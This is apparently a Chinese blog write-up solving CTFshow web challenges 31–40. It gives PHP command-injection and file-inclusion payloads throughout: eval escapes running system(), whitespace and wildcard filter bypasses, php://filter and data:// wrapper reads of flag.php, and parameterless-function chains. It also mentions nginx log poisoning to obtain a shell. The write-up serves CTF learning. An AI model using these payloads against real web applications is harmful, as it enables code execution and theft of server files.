《CTFshow - Web入门》04. Web 31~40
创始人
2024-03-16 10:24:18

Web 31~40

  • web31
    • 知识点
    • 题解
  • web32
    • 知识点
    • 题解
  • web33
    • 知识点
    • 题解
  • web34
    • 知识点
    • 题解
  • web35
    • 知识点
    • 题解
  • web36
    • 知识点
    • 题解
  • web37
    • 知识点
    • 题解
  • web38
    • 知识点
    • 题解
  • web39
    • 知识点
    • 题解
  • web40
    • 知识点
    • 题解


web31

知识点

这里依旧可以用到 web29 的方法:

  • 嵌套eval逃逸参数

当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是

  • url编码
  • Linux:通配符、其他命令

题解

过滤了空格、点、单引号和cat

在这里插入图片描述
方法一

经典逃逸

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

在这里插入图片描述
方法二

空格的绕过可以使用 %09 (tab)
使用通配符来匹配文件

url + ?c=echo%09`tac%09fl*`;

在这里插入图片描述
方法三
利用无参数函数:

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
等多种方法

cat被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

web32

知识点

  • PHP:伪协议、文件包含、php代码的闭合。

题解

源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。

在这里插入图片描述
方法一
嵌套include文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码过后的源码。

在这里插入图片描述

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。

方法二

与方法一大同小异

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web33

知识点

  • PHP:伪协议、文件包含

题解

在上一题的基础上过滤了双引号。

在这里插入图片描述
方法一
既然过滤了双引号,那就直接加变量名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web34

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。

在这里插入图片描述

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

在这里插入图片描述

web35

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了 < 和 = 。不过还是没有影响。

在这里插入图片描述
继续沿用上一题payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一个等号是用来传参的

得手

在这里插入图片描述

web36

知识点

  • PHP:伪协议、文件包含

题解

过滤了0-9的数字和反斜杠
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)

在这里插入图片描述
但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web37

知识点

  • PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,';
include($c);//php中,以上代码相当于包含了 

题解

本题直接提供了一个include函数

在这里插入图片描述
方法一

data伪协议配合通配符绕过

url + ?c=data://text/plain,

在这里插入图片描述
方法二

利用base64编解码

先对  进行base64编码

在这里插入图片描述
再利用伪协议传输

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述

web38

知识点

  • PHP:伪协议(data://)、文件包含、短标签

题解

在这里插入图片描述
解法一

可以继续沿用上一题的payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述
解法二

php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过

url + ?c=data://text/plain,

在这里插入图片描述

解法三

nginx的日志文件/var/log/nginx/access.log

题目提示可以通过包含日志文件拿shell。

这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试

web39

知识点

  • PHP:伪协议(data://)、文件包含

题解

会在后面拼接一个 .php,但是过滤了flag

在这里插入图片描述
解法一

闭合 include函数,让拼接不执行

url + ?c=data://text/plain,)?>

在这里插入图片描述
解法二

其实不用做其他处理,直接用通配符代替传参即可

url + ?c=data://text/plain,

在这里插入图片描述
因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。

在这里插入图片描述

data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用

web40

知识点

  • 无参数函数

题解

过滤了很多东西,但是下面是eval,可以直接函数执行

在这里插入图片描述
而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);
}

所以还是可以使用括号。

解法一

使用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
解法二

题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...